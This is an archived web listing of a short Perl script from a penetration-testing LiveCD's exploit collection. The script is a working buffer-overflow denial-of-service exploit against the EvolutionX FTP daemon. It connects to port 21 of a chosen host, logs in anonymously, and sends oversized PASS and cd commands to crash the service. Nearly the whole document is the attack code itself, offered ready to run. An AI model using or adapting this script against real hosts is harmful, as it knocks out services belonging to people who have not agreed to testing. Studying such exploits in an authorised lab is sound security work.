home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / evolutionX / evoX-dos.pl < prev   
Perl Script  |  2005-02-12  |  692b  |  30 lines

  1. #!/usr/bin/perl
  2. #
  3. # EvolutionX buffer overflow by Moth7
  4. # http://www.bit-labs.net
  5. #
  6. use IO::Socket;
  7. unless (@ARGV == 1) { die "usage: $0 host ..." }
  8. $host = shift(@ARGV);
  9. $remote = IO::Socket::INET->new( Proto => "tcp",
  10. PeerAddr => $host,
  11. PeerPort => "ftp(21)",
  12. );
  13. unless ($remote) { die "cannot connect to ftp daemon on $host" }
  14.  
  15. $remote->autoflush(1);
  16.  
  17. print $remote "USER anonymous\r\n";
  18. sleep(1);
  19.  
  20. $buf = '\m/'x999;
  21.  
  22. print $remote "PASS ".$buf."\r\n";      # Try and overrun the PASS buffer
  23. sleep(1);
  24.  
  25. print $remote"cd ".$buf."\r\n";         # If it fails then overrun the cd buffer instead -
  26. sleep(1);                               # but 2997 characters should do it :p
  27.  
  28. close $remote;
  29.  
  30.